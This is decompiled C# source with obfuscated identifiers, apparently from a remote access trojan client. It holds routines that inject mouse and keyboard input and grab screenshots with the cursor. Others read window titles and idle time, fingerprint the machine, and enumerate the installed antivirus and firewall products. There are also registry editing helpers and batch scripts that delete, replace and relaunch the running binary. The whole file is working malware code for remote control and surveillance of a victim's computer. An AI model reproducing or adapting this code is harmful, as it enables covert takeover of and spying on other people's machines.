				u = new 瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.InputUnion
				{
					mi = new 瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.MOUSEINPUT
					{
						dx = p.X,
						dy = p.Y,
						mouseData = 0,
						dwFlags = (isMouseDown ? 2u : 4u),
						time = 0u,
						dwExtraInfo = 瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.\ueda0\uf6df읿㋉包䏹⣓潈⡴묥홱䳡쑋攡ԥ絼塬慐ꐨ೩()
					}
				}
			}
		};
		瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.\ue522텭㍐鲞亩\uabe7鲂蹶�\u2fe4㚋\uf876लｫ慤\uf02d븐效隳衙((uint)array.Length, array, Marshal.SizeOf(typeof(瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.INPUT)));
	}

	public static void 웧讠쉂츚轐\uecb0�浯뜜\uf7e7��빤닣�⒛낶钨眫Ⳋ(Point p, bool isMouseDown)
	{
		瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.INPUT[] array = new 瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.INPUT[1]
		{
			new 瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.INPUT
			{
				type = 0u,
				u = new 瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.InputUnion
				{
					mi = new 瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.MOUSEINPUT
					{
						dx = p.X,
						dy = p.Y,
						mouseData = 0,
						dwFlags = (isMouseDown ? 8u : 16u),
						time = 0u,
						dwExtraInfo = 瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.\ueda0\uf6df읿㋉包䏹⣓潈⡴묥홱䳡쑋攡ԥ絼塬慐ꐨ೩()
					}
				}
			}
		};
		瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.\ue522텭㍐鲞亩\uabe7鲂蹶�\u2fe4㚋\uf876लｫ慤\uf02d븐效隳衙((uint)array.Length, array, Marshal.SizeOf(typeof(瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.INPUT)));
	}

	public static void ꭲ館㢭\uf5e8丩舅⡁\u1afc䉭䀸澞ꮍ幵쌼탗薯죺丷ꩬ\ueb2e(Point p)
	{
		瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.⽠齥鶣䛜초꓿\ue4d3\ue46b龱捽ꑀ\uf26b\u02dd풟ꑍ瀫剖퉳夽좩(p.X, p.Y);
	}

	public static void 蘕ᴛ韒\u1dd6毪�狁䤰\ue2a3뚐恖嫪鶥ཌྷ㷑듫粓㿑噿䃽(Point p, bool scrollDown)
	{
		瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.INPUT[] array = new 瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.INPUT[1]
		{
			new 瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.INPUT
			{
				type = 0u,
				u = new 瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.InputUnion
				{
					mi = new 瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.MOUSEINPUT
					{
						dx = p.X,
						dy = p.Y,
						mouseData = (scrollDown ? (-120) : 120),
						dwFlags = 2048u,
						time = 0u,
						dwExtraInfo = 瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.\ueda0\uf6df읿㋉包䏹⣓潈⡴묥홱䳡쑋攡ԥ絼塬慐ꐨ೩()
					}
				}
			}
		};
		瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.\ue522텭㍐鲞亩\uabe7鲂蹶�\u2fe4㚋\uf876लｫ慤\uf02d븐效隳衙((uint)array.Length, array, Marshal.SizeOf(typeof(瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.INPUT)));
	}

	public static void 꽛ᔮ\u1ae6ꎕ\ue553\uf48dꐅ㼋ⰳ\ue38aఴ窒피洫㌼\ue46f僾䏡좉黹(byte key, bool keyDown)
	{
		瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.INPUT[] array = new 瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.INPUT[1]
		{
			new 瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.INPUT
			{
				type = 1u,
				u = new 瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.InputUnion
				{
					ki = new 瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.KEYBDINPUT
					{
						wVk = key,
						wScan = 0,
						dwFlags = ((!keyDown) ? 2u : 0u),
						dwExtraInfo = 瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.\ueda0\uf6df읿㋉包䏹⣓潈⡴묥홱䳡쑋攡ԥ絼塬慐ꐨ೩()
					}
				}
			}
		};
		瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.\ue522텭㍐鲞亩\uabe7鲂蹶�\u2fe4㚋\uf876लｫ慤\uf02d븐效隳衙((uint)array.Length, array, Marshal.SizeOf(typeof(瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.INPUT)));
	}

	public static bool 정ᑦ\ueb7b냲ꈃ⋳퓽顫௦煰\ue373潆㽦୬쎖\ufe03訄鯯\uf04b놩()
	{
		IntPtr lpvParam = IntPtr.Zero;
		瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.歩�魌ꮂ瀚\uebc4ᚄ픙\ue8d8ཤ㢌見固\ue24b硟䦙䴤Ƶ㎲쩴(114u, 0u, ref lpvParam, 0u);
		return lpvParam != IntPtr.Zero;
	}

	public static void \ue2f6\uefab拥囩\u0c5e\u0d44崳바揻ꄐ蔷욷笽岅턳箌㦠﨔�䉺()
	{
		IntPtr intPtr = 瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.装㡪짦졣ﻊ\uf326�⻮뀁뇓턝\u2d74\ue687ꎓ煀덐Ⳣ蜾\uf32d鲯("Screen-saver", 0, inherit: false, 129u);
		if (intPtr != IntPtr.Zero)
		{
			瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.緝諜㇡㢖꾉嗱Ⲳ횷莼妑靍澁뙛弱凛넳\ue8fb焓苡圲(intPtr, delegate(IntPtr hWnd, IntPtr lParam)
			{
				if (瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.␍\ue70d礿\uf45f\u0c0d椕㠏\u1a5c\uf6b3凄둇灜켅嶲㲧⚈㪉뛞葖\u2de5(hWnd))
				{
					瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.㞄먤╀�롿ꂛ�쬪♞㴐萃\ue3e4擎䧤謖ꖅꄴ逵脅\uefeb(hWnd, 16, IntPtr.Zero, IntPtr.Zero);
				}
				return true;
			}, IntPtr.Zero);
			瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.庍䣯졪崔쩳\u0b5b瞘傫ﱈ\ueaf6\uef8d齱\ue752扰䒻噌䊐龿뢮㱽(intPtr);
		}
		else
		{
			瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.㞄먤╀�롿ꂛ�쬪♞㴐萃\ue3e4擎䧤謖ꖅꄴ逵脅\uefeb(瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.㢔룻贈엽䣽熧䶺ཌྷⱫ鏻Սꟓ遈\uec65啍涚ꀓ㎧튫ล(), 16, IntPtr.Zero, IntPtr.Zero);
		}
		IntPtr lpvParam = IntPtr.Zero;
		瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.歩�魌ꮂ瀚\uebc4ᚄ픙\ue8d8ཤ㢌見固\ue24b硟䦙䴤Ƶ㎲쩴(17u, 1u, ref lpvParam, 2u);
	}

	public static string 熹\uf2d9ᢙ甪넫번芯\ueb19岫㺹땨炦땍懶뀫鏶퍵◛뻝掉()
	{
		StringBuilder stringBuilder = new StringBuilder(1024);
		瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.ȅ⛰낾㨉펇껑졵\ue152跋朅㭳\u0ac1ᨳᓑ힇언\uf767䍋嵽ﯢ(瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.㢔룻贈엽䣽熧䶺ཌྷⱫ鏻Սꟓ遈\uec65啍涚ꀓ㎧튫ล(), stringBuilder, stringBuilder.Capacity);
		return stringBuilder.ToString();
	}
}
public static class 凲ⱀ\u0f9dꂦ뼌鉼퇰ꮄ쏠삖�䔰ᅋ᧗轌＜꾥䀅켃錭
{
	private static string 擛뒟쌋夋\uf231\u064d鳔㫝챰뜬\uf530嗡㏩�쁻빇\u2df6䝾닜ꑂ = string.Empty;

	public static bool \uee6b\ue3c8諕旲䥞赸ﳜ\u0cd2䷧ꈯ㒥螓딯㆒\uabe4넍鿛\uf0c0袈朗(RegistryHive hive, string path, string name, string value, bool addQuotes = false)
	{
		try
		{
			using RegistryKey registryKey = RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenWritableSubKeySafe(path);
			if (registryKey == null)
			{
				return false;
			}
			if (addQuotes && !value.StartsWith("\"") && !value.EndsWith("\""))
			{
				value = "\"" + value + "\"";
			}
			registryKey.SetValue(name, value);
			return true;
		}
		catch
		{
			return false;
		}
	}

	public static RegistryKey ꣓呍煆�셒痭\u1b35٢�稭逩믎䭴ꖷ梃뤮氾�\u001b阆(RegistryHive hive, string path)
	{
		try
		{
			return RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenSubKey(path, writable: false);
		}
		catch
		{
			return null;
		}
	}

	public static bool �麓\ue54a堞颷\u20c5ᅁ\u000d\ue591用걶ゟ씏彏ꊅ昙麐\uf5c4颇\u0b48(RegistryHive hive, string path, string name)
	{
		try
		{
			using RegistryKey registryKey = RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenWritableSubKeySafe(path);
			if (registryKey == null)
			{
				return false;
			}
			registryKey.DeleteValue(name, throwOnMissingValue: true);
			return true;
		}
		catch (Exception)
		{
			return false;
		}
	}

	public static bool \uf871퇏焫仈ሡ�ᝈ\ufe04㣔靪蘬㛣�Ẑ싷\ue9a6�䖲\ueb18\uffbf(string valueName)
	{
		return string.IsNullOrEmpty(valueName);
	}

	public static RegValueData[] ﶿ삑쥥楢지㉶刉䣞똈៰垿⏩庰儺ሬ虄\u2de5鬀쓖\ue099(List<RegValueData> values)
	{
		if (!values.Any((RegValueData value) => \uf871퇏焫仈ሡ�ᝈ\ufe04㣔靪蘬㛣�Ẑ싷\ue9a6�䖲\ueb18\uffbf(value.Name)))
		{
			values.Add(⁵⢭廃ײ\u0ace詧첝䶉\uefd9ᬇ㩛飮�沲큤丹癅毾✠㤋());
		}
		return values.ToArray();
	}

	public static RegValueData[] 㚵萺Ⱕ�ꋁṙ쐤쯞ᯐ컊ᥔ\u089e⮫௩㼌凍룉렁ဒ젇()
	{
		return (RegValueData[])(object)new RegValueData[1] { ⁵⢭廃ײ\u0ace詧첝䶉\uefd9ᬇ㩛飮�沲큤丹癅毾✠㤋() };
	}

	public static RegValueData 쫆\ue55b\uf4b8⛬坫Ṅ앣痢ᶢนꏫ쀐�菫\ua67bꚢ糈㷢酘Ŗ(string name, RegistryValueKind kind, object value = null)
	{
		//IL_0000: Unknown result type (might be due to invalid IL or missing references)
		//IL_0005: Unknown result type (might be due to invalid IL or missing references)
		//IL_000c: Unknown result type (might be due to invalid IL or missing references)
		//IL_0014: Expected O, but got Unknown
		RegValueData val = new RegValueData
		{
			Name = name,
			Kind = kind
		};
		if (value == null)
		{
			val.Data = new byte[0];
		}
		else
		{
			switch (val.Kind)
			{
			case RegistryValueKind.String:
			case RegistryValueKind.ExpandString:
				val.Data = ByteConverter.GetBytes((string)value);
				break;
			case RegistryValueKind.Binary:
				val.Data = (byte[])value;
				break;
			case RegistryValueKind.DWord:
				val.Data = ByteConverter.GetBytes((uint)(int)value);
				break;
			case RegistryValueKind.MultiString:
				val.Data = ByteConverter.GetBytes((string[])value);
				break;
			case RegistryValueKind.QWord:
				val.Data = ByteConverter.GetBytes((ulong)(long)value);
				break;
			}
		}
		return val;
	}

	private static RegValueData ⁵⢭廃ײ\u0ace詧첝䶉\uefd9ᬇ㩛飮�沲큤丹癅毾✠㤋()
	{
		return 쫆\ue55b\uf4b8⛬坫Ṅ앣痢ᶢนꏫ쀐�菫\ua67bꚢ糈㷢酘Ŗ(擛뒟쌋夋\uf231\u064d鳔㫝챰뜬\uf530嗡㏩�쁻빇\u2df6䝾닜ꑂ, RegistryValueKind.String);
	}
}
public static class 鳻沊\ue957㜎븴尟虼葯\uf83d\u07af麶渻旍湶ൺ\u0619峌緖Ἆ\ue3cd
{
	public enum DESKTOP_ACCESS : uint
	{
		DESKTOP_NONE = 0u,
		DESKTOP_READOBJECTS = 1u,
		DESKTOP_CREATEWINDOW = 2u,
		DESKTOP_CREATEMENU = 4u,
		DESKTOP_HOOKCONTROL = 8u,
		DESKTOP_JOURNALRECORD = 16u,
		DESKTOP_JOURNALPLAYBACK = 32u,
		DESKTOP_ENUMERATE = 64u,
		DESKTOP_WRITEOBJECTS = 128u,
		DESKTOP_SWITCHDESKTOP = 256u,
		GENERIC_ALL = 511u
	}

	private struct CURSORINFO
	{
		public int cbSize;

		public int flags;

		public IntPtr hCursor;

		public POINTAPI ptScreenPos;
	}

	private struct POINTAPI
	{
		public int x;

		public int y;
	}

	public const int ญ풧틶褩འꇦ⯠ᣑ刮ℹ땻붩襦\ued85澙\u0335첂峺\uf4e3ꋜ = 13369376;

	private const int 㐼훴㒤⬅॥甥䓊⥺겪㿱欮饅碃呗耾镜\ue754\u2de2�惥 = 1;

	[DllImport("user32.dll", EntryPoint = "SetThreadDesktop", SetLastError = true)]
	public static extern bool 뤝ษ툺騌ᤙ总䊇碔쾼㳭ᆅ\uec2e匒㱶톷྅⦢汗ԑ\ua9da(IntPtr hDesktop);

	[DllImport("user32.dll", EntryPoint = "OpenDesktop", SetLastError = true)]
	public static extern IntPtr 㼙\uef10ﳤ伐�\ue778槰\ue87e\ued12�ꈥ厏롼≕쏕ꄁ涁﹥⹌搬(string lpszDesktop, int dwFlags, bool fInherit, uint dwDesiredAccess);

	[DllImport("user32.dll", EntryPoint = "GetCursorInfo")]
	private static extern bool 筳뉕\ue5bf輲율伽�\ue691餎鄎\ueb0f砠㚿ꏮ\ua7e6䮓ⲓᠵ�㏪(out CURSORINFO pci);

	[DllImport("user32.dll", EntryPoint = "DrawIcon")]
	private static extern bool \ueb4eឣ⧾Ղ柭霴\uee6c䮉霚\ue03bᘜ蠥츯䞺\uf4e1媘썕抵멺⊉(IntPtr hDC, int X, int Y, IntPtr hIcon);

	public static Rectangle \u17b7곃舤庶瑪䡾⊶\ue851闝␞\ue4f5殅牪玴痮\uf7ee벽䑫춺⮨(int screenNumber)
	{
		return Screen.AllScreens[screenNumber].Bounds;
	}

	public static Bitmap 耻娘\ue075뺹ꩊ煙ǫ�造ᢦ弪떼鈢켑嫲峫㸫盎㪃\ue05a(int Scrn, bool captureCursor)
	{
		//IL_00d8: Unknown result type (might be due to invalid IL or missing references)
		//IL_00df: Expected O, but got Unknown
		//IL_0020: Unknown result type (might be due to invalid IL or missing references)
		//IL_0026: Expected O, but got Unknown
		Rectangle bounds = Screen.AllScreens[Scrn].Bounds;
		try
		{
			Bitmap val = new Bitmap(bounds.Width, bounds.Height, (PixelFormat)2498570);
			Graphics val2 = Graphics.FromImage((Image)(object)val);
			try
			{
				val2.CopyFromScreen(bounds.Left, bounds.Top, 0, 0, new Size(((Image)val).Width, ((Image)val).Height), (CopyPixelOperation)13369376);
				if (captureCursor)
				{
					CURSORINFO pci = default(CURSORINFO);
					pci.cbSize = Marshal.SizeOf(typeof(CURSORINFO));
					if (筳뉕\ue5bf輲율伽�\ue691餎鄎\ueb0f砠㚿ꏮ\ua7e6䮓ⲓᠵ�㏪(out pci) && pci.flags == 1)
					{
						筳뉕\ue5bf輲율伽�\ue691餎鄎\ueb0f砠㚿ꏮ\ua7e6䮓ⲓᠵ�㏪(out pci);
						\ueb4eឣ⧾Ղ柭霴\uee6c䮉霚\ue03bᘜ蠥츯䞺\uf4e1媘썕抵멺⊉(val2.GetHdc(), pci.ptScreenPos.x, pci.ptScreenPos.y, pci.hCursor);
						val2.ReleaseHdc();
					}
				}
				return val;
			}
			finally
			{
				((IDisposable)val2)?.Dispose();
			}
		}
		catch (Exception)
		{
			return new Bitmap(bounds.Width, bounds.Height);
		}
	}
}
public static class \uf346홊봳\uf87c똟㲀䂿㇀鈄饉툠\ue1ae뼆叱偕\uf6b5鸮ᝮ팫ᒣ
{
	private struct LASTINPUTINFO
	{
		public uint cbSize;

		public uint dwTime;
	}

	[DllImport("user32.dll", CharSet = CharSet.Auto, EntryPoint = "GetForegroundWindow", SetLastError = true)]
	public static extern IntPtr 뇨酗뎃鎼휘䁀Θ⚬콘Ꭓ调ﷱ镥ꡠ씂랗䌈漉ϖ찐();

	[DllImport("user32.dll", CharSet = CharSet.Auto, EntryPoint = "GetWindowTextLength", SetLastError = true)]
	public static extern int 寠㞤៷䴧⁵\ueb91用㲙\uf7e2ꅃᴵ譀ᑸ껂탨榝⇲\ue138恊ꗎ(IntPtr hWnd);

	[DllImport("user32.dll", EntryPoint = "GetWindowText")]
	public static extern int 팷垣왱佦虺ᾲ쭰⳻媌솰꧘犫럴孕蓈리嶯\u0ccb㰁庠(IntPtr hWnd, StringBuilder lpString, int nMaxCount);

	[DllImport("user32.dll", EntryPoint = "GetWindowThreadProcessId")]
	public static extern IntPtr ꯅ㌼渮쓸콹䮦烵얨氍䅈�堺撚攈穎㮀뭚焃㨝揉(IntPtr hWnd, out uint ProcessId);

	[DllImport("user32.dll", EntryPoint = "GetLastInputInfo")]
	private static extern bool 嗫ﳎ톈\ud7a7氖럄삢ⶾ禀\ue071⧿엜毀䠵㎝\uebc7�㝄禋韀(ref LASTINPUTINFO plii);

	public static uint 㿹隴兠韺㸷\uf517컵ﻪ況栱淤杷ӡᱰ䘂䪂㈯\ue982\u2b75헻()
	{
		LASTINPUTINFO plii = default(LASTINPUTINFO);
		plii.cbSize = (uint)Marshal.SizeOf(plii);
		if (!嗫ﳎ톈\ud7a7氖럄삢ⶾ禀\ue071⧿엜毀䠵㎝\uebc7�㝄禋韀(ref plii))
		{
			throw new Win32Exception();
		}
		return (uint)Environment.TickCount - plii.dwTime;
	}

	public static string ꓳ䁕ꬃ⦇雝쭎鑠袛顦ꎬ附腘豽㙀益鞵\u0089荴楯㋶()
	{
		string text = string.Empty;
		IntPtr hWnd = 뇨酗뎃鎼휘䁀Θ⚬콘Ꭓ调ﷱ镥ꡠ씂랗䌈漉ϖ찐();
		int num = 寠㞤៷䴧⁵\ueb91用㲙\uf7e2ꅃᴵ譀ᑸ껂탨榝⇲\ue138恊ꗎ(hWnd) + 1;
		StringBuilder stringBuilder = new StringBuilder(num);
		if (팷垣왱佦虺ᾲ쭰⳻媌솰꧘犫럴孕蓈리嶯\u0ccb㰁庠(hWnd, stringBuilder, num) > 0)
		{
			text = stringBuilder.ToString();
		}
		try
		{
			ꯅ㌼渮쓸콹䮦烵얨氍䅈�堺撚攈穎㮀뭚焃㨝揉(hWnd, out var ProcessId);
			Process processById = Process.GetProcessById((int)ProcessId);
			text = ((!(text == "")) ? (processById.ProcessName + " - " + text) : processById.ProcessName);
			processById.Dispose();
		}
		catch
		{
		}
		return text;
	}

	public static string ㎩ኲ컝룯簹쉆荤宧漓\ufde7予\u1dcc첰놋쨴팽塕삂ꮾ⫒()
	{
		//IL_000b: Unknown result type (might be due to invalid IL or missing references)
		//IL_0011: Expected O, but got Unknown
		//IL_002a: Unknown result type (might be due to invalid IL or missing references)
		//IL_0031: Expected O, but got Unknown
		string result = "";
		ManagementObjectSearcher val = new ManagementObjectSearcher("SELECT * FROM Win32_OperatingSystem");
		try
		{
			ManagementObjectCollection val2 = val.Get();
			if (val2 != null)
			{
				ManagementObjectEnumerator enumerator = val2.GetEnumerator();
				try
				{
					while (enumerator.MoveNext())
					{
						ManagementObject val3 = (ManagementObject)enumerator.Current;
						result = ((ManagementBaseObject)val3)["Caption"].ToString() + " - " + ((ManagementBaseObject)val3)["OSArchitecture"].ToString();
					}
				}
				finally
				{
					((IDisposable)enumerator)?.Dispose();
				}
				val2.Dispose();
			}
		}
		finally
		{
			((IDisposable)val)?.Dispose();
		}
		return result;
	}

	public static string ﭙ눚ዂ\u1739\u1a9a㊖\uefc6鸏樊롐\ue7f3䌥⚍\uf0e3ⅉ㫁윞\ue8c9빲꼏()
	{
		try
		{
			return \u203f╀䮧뚿⹖矖䅑\u0df3\uf257\uf0a9嶖\u03a2꒹狀ꍀƈꇍ補盶Ἃ(Environment.ProcessorCount + Environment.UserName + Environment.MachineName + Environment.OSVersion?.ToString() + new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)).TotalSize);
		}
		catch
		{
			return "UNKNOWN";
		}
	}

	private static string \u203f╀䮧뚿⹖矖䅑\u0df3\uf257\uf0a9嶖\u03a2꒹狀ꍀƈꇍ補盶Ἃ(string strToHash)
	{
		byte[] array = new MD5CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(strToHash));
		StringBuilder stringBuilder = new StringBuilder();
		byte[] array2 = array;
		foreach (byte b in array2)
		{
			stringBuilder.Append(b.ToString("x2"));
		}
		return stringBuilder.ToString().Substring(0, 20).ToUpper();
	}

	public static string ᾏ쓅䪜ꨋ짳\uf014挅蜻鞈�妗똏緵뤏㥘㊬⡘詡켝➭()
	{
		//IL_000b: Unknown result type (might be due to invalid IL or missing references)
		//IL_0011: Expected O, but got Unknown
		try
		{
			string text = string.Empty;
			ManagementObjectSearcher val = new ManagementObjectSearcher("SELECT * FROM Win32_OperatingSystem WHERE Primary='true'");
			try
			{
				ManagementObjectEnumerator enumerator = val.Get().GetEnumerator();
				try
				{
					if (enumerator.MoveNext())
					{
						TimeSpan timeSpan = TimeSpan.FromTicks((DateTime.Now - ManagementDateTimeConverter.ToDateTime(enumerator.Current["LastBootUpTime"].ToString())).Ticks);
						text = string.Format("{0}d : {1}h : {2}m : {3}s", new object[4] { timeSpan.Days, timeSpan.Hours, timeSpan.Minutes, timeSpan.Seconds });
					}
				}
				finally
				{
					((IDisposable)enumerator)?.Dispose();
				}
			}
			finally
			{
				((IDisposable)val)?.Dispose();
			}
			if (string.IsNullOrEmpty(text))
			{
				throw new Exception("Getting uptime failed");
			}
			return text;
		}
		catch
		{
			return string.Format("{0}d : {1}h : {2}m : {3}s", new object[4] { 0, 0, 0, 0 });
		}
	}

	public static string ῑ醤俀덒\u245f䍹꿂浗⠄ế�㵏㫢퇋蕄䛉헾㕘ꊔ绨()
	{
		return Environment.MachineName;
	}

	public static string 긩翌\ue176䘖�ꢂ쌮\uab6f䗿Ա쵺�\u1a6e岴⯒氉眰씈츆䥧()
	{
		//IL_001e: Unknown result type (might be due to invalid IL or missing references)
		//IL_0024: Expected O, but got Unknown
		//IL_0038: Unknown result type (might be due to invalid IL or missing references)
		//IL_003f: Expected O, but got Unknown
		try
		{
			string text = string.Empty;
			ManagementObjectSearcher val = new ManagementObjectSearcher(PlatformHelper.VistaOrHigher ? "root\\SecurityCenter2" : "root\\SecurityCenter", "SELECT * FROM AntivirusProduct");
			try
			{
				ManagementObjectEnumerator enumerator = val.Get().GetEnumerator();
				try
				{
					while (enumerator.MoveNext())
					{
						ManagementObject val2 = (ManagementObject)enumerator.Current;
						text = text + ((ManagementBaseObject)val2)["displayName"].ToString() + "; ";
					}
				}
				finally
				{
					((IDisposable)enumerator)?.Dispose();
				}
			}
			finally
			{
				((IDisposable)val)?.Dispose();
			}
			string text2 = StringHelper.RemoveLastChars(text, 2);
			return (!string.IsNullOrEmpty(text2)) ? text2 : "N/A";
		}
		catch
		{
			return "Unknown";
		}
	}

	public static string \uec54虳뀼Ｅ\uf708⋩\ue68d䬳逸䫼ᘗ䪥\u0fb7쎓됺Ώ볿䋐腳�()
	{
		//IL_001e: Unknown result type (might be due to invalid IL or missing references)
		//IL_0024: Expected O, but got Unknown
		//IL_0038: Unknown result type (might be due to invalid IL or missing references)
		//IL_003f: Expected O, but got Unknown
		try
		{
			string text = string.Empty;
			ManagementObjectSearcher val = new ManagementObjectSearcher(PlatformHelper.VistaOrHigher ? "root\\SecurityCenter2" : "root\\SecurityCenter", "SELECT * FROM FirewallProduct");
			try
			{
				ManagementObjectEnumerator enumerator = val.Get().GetEnumerator();
				try
				{
					while (enumerator.MoveNext())
					{
						ManagementObject val2 = (ManagementObject)enumerator.Current;
						text = text + ((ManagementBaseObject)val2)["displayName"].ToString() + "; ";
					}
				}
				finally
				{
					((IDisposable)enumerator)?.Dispose();
				}
			}
			finally
			{
				((IDisposable)val)?.Dispose();
			}
			string text2 = StringHelper.RemoveLastChars(text, 2);
			return (!string.IsNullOrEmpty(text2)) ? text2 : "N/A";
		}
		catch
		{
			return "Unknown";
		}
	}
}
public static class 腦뚷鉺喳\uaa2aဉቃ歧桑Ⴟ뫚蚒\uf57c�ᠶⓋ袦⁼\ue19b⋧
{
	public static byte[] 㩺먊여떇\uf21a\ue8c5찿厹撫㵆\uf0af癪濨餑瘪晆凖み\ue295蓅(byte[] input)
	{
		using MemoryStream memoryStream = new MemoryStream(input);
		byte[] array = new byte[4];
		memoryStream.Read(array, 0, 4);
		int num = BitConverter.ToInt32(array, 0);
		using GZipStream gZipStream = new GZipStream(memoryStream, CompressionMode.Decompress);
		byte[] array2 = new byte[num];
		gZipStream.Read(array2, 0, num);
		return array2;
	}

	public static byte[] 葈鈿둭展ꆚⲬ몱伩頳꾛뜺裗ⷂȺ뼡｟\u05a6푟蠘햻(byte[] input)
	{
		using MemoryStream memoryStream = new MemoryStream();
		byte[] bytes = BitConverter.GetBytes(input.Length);
		memoryStream.Write(bytes, 0, 4);
		using (GZipStream gZipStream = new GZipStream(memoryStream, CompressionMode.Compress))
		{
			gZipStream.Write(input, 0, input.Length);
			gZipStream.Flush();
		}
		return memoryStream.ToArray();
	}
}
public static class 银︼怖〲鿅Ａ띯쫡뱘\uf286爬씜샘蹌\uf5dd롬\ue60a鎄ᝰ穢
{
	public static string ﰟ�ቔ茩庻έ掗襒搪\uf3d8䐃ᇲ례箔\ue923꣕슜诺שׁ菬(string currentFilePath)
	{
		string tempFilePath = FileHelper.GetTempFilePath(".bat");
		string contents = "@echo off\r\nchcp 65001\r\necho DONT CLOSE THIS WINDOW!\r\nping -n 10 localhost > nul\r\ndel /a /q /f \"" + currentFilePath + "\"\r\ndel /a /q /f \"" + tempFilePath + "\"";
		File.WriteAllText(tempFilePath, contents, new UTF8Encoding(encoderShouldEmitUTF8Identifier: false));
		return tempFilePath;
	}

	public static string 箒䌎䩭凫픵䖉캚䐙쾺\uf8f2⍧钇\uf163紿솤穽\uf3c1⯬\uf72eᔭ(string currentFilePath, string newFilePath)
	{
		string tempFilePath = FileHelper.GetTempFilePath(".bat");
		string contents = "@echo off\r\nchcp 65001\r\necho DONT CLOSE THIS WINDOW!\r\nping -n 10 localhost > nul\r\ndel /a /q /f \"" + currentFilePath + "\"\r\nmove /y \"" + newFilePath + "\" \"" + currentFilePath + "\"\r\nstart \"\" \"" + currentFilePath + "\"\r\ndel /a /q /f \"" + tempFilePath + "\"";
		File.WriteAllText(tempFilePath, contents, new UTF8Encoding(encoderShouldEmitUTF8Identifier: false));
		return tempFilePath;
	}

	public static string 㽢❳\u245d풴冧⎖護ﹱ彻纁疌훃籑돘䷏墐Џ샏弉懭(string currentFilePath)
	{
		string tempFilePath = FileHelper.GetTempFilePath(".bat");
		string contents = "@echo off\r\nchcp 65001\r\necho DONT CLOSE THIS WINDOW!\r\nping -n 10 localhost > nul\r\nstart \"\" \"" + currentFilePath + "\"\r\ndel /a /q /f \"" + tempFilePath + "\"";
		File.WriteAllText(tempFilePath, contents, new UTF8Encoding(encoderShouldEmitUTF8Identifier: false));
		return tempFilePath;
	}
}
